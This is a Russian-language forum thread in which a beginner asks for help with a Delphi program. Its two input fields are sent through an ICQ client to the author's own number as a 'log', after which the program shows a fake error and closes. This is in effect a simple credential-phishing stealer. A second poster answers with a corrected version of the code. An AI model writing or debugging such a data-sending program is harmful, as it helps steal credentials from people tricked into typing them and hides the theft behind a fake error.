Delphi нужна ваша помощь

[bestkingplay]

Добрый день решил создать свою первую программу на delphi все понял как делать но есть одна проблема
если ошибся темой сильно не ругайте :D

Сделал два поля для ввода и кнопку button
На кнопку button я сделал что бы лог отправлялся мне на icq
Решил сделать при нажатии на button что бы вылазила типо ошибка и программа закрывалась автоматически сразу же,но почему то это не происходит!Подскажите мб что то я не правильно в коде написал

ICQClient1.UIN:=сдесь номер аськи; //
ICQClient1.Password:='пароль от аськи'; //
ICQClient1.Login(); //

Icqclient1.SendMessage(номер аськи куда приходит лог,Edit1.text);
Icqclient1.SendMessage(номер аськи куда приходит лог,Edit2.text);

Icqclient1.Disconnect;

showmessage ('Текст сообщения');
close;

Когда ставлю код наоборот тоесть вначале вот так вот
showmessage ('Текст сообщения');
close;

CQClient1.UIN:=сдесь номер аськи; //
ICQClient1.Password:='пароль от аськи'; //
ICQClient1.Login(); //

Icqclient1.SendMessage(номер аськи куда приходит лог,Edit1.text);
Icqclient1.SendMessage(номер аськи куда приходит лог,Edit2.text);

Icqclient1.Disconnect;

то программа закрывается,но лог не приходит в аську )

[Kyroki]

вроде как надо писать не
close;
а
form1.close;
тоесть код
ICQClient1.UIN:=сдесь номер аськи; //
ICQClient1.Password:='пароль от аськи'; //
ICQClient1.Login(); //

Icqclient1.SendMessage(номер аськи куда приходит лог,Edit1.text);
Icqclient1.SendMessage(номер аськи куда приходит лог,Edit2.text);

Icqclient1.Disconnect;

showmessage ('Текст сообщения');
form1.close;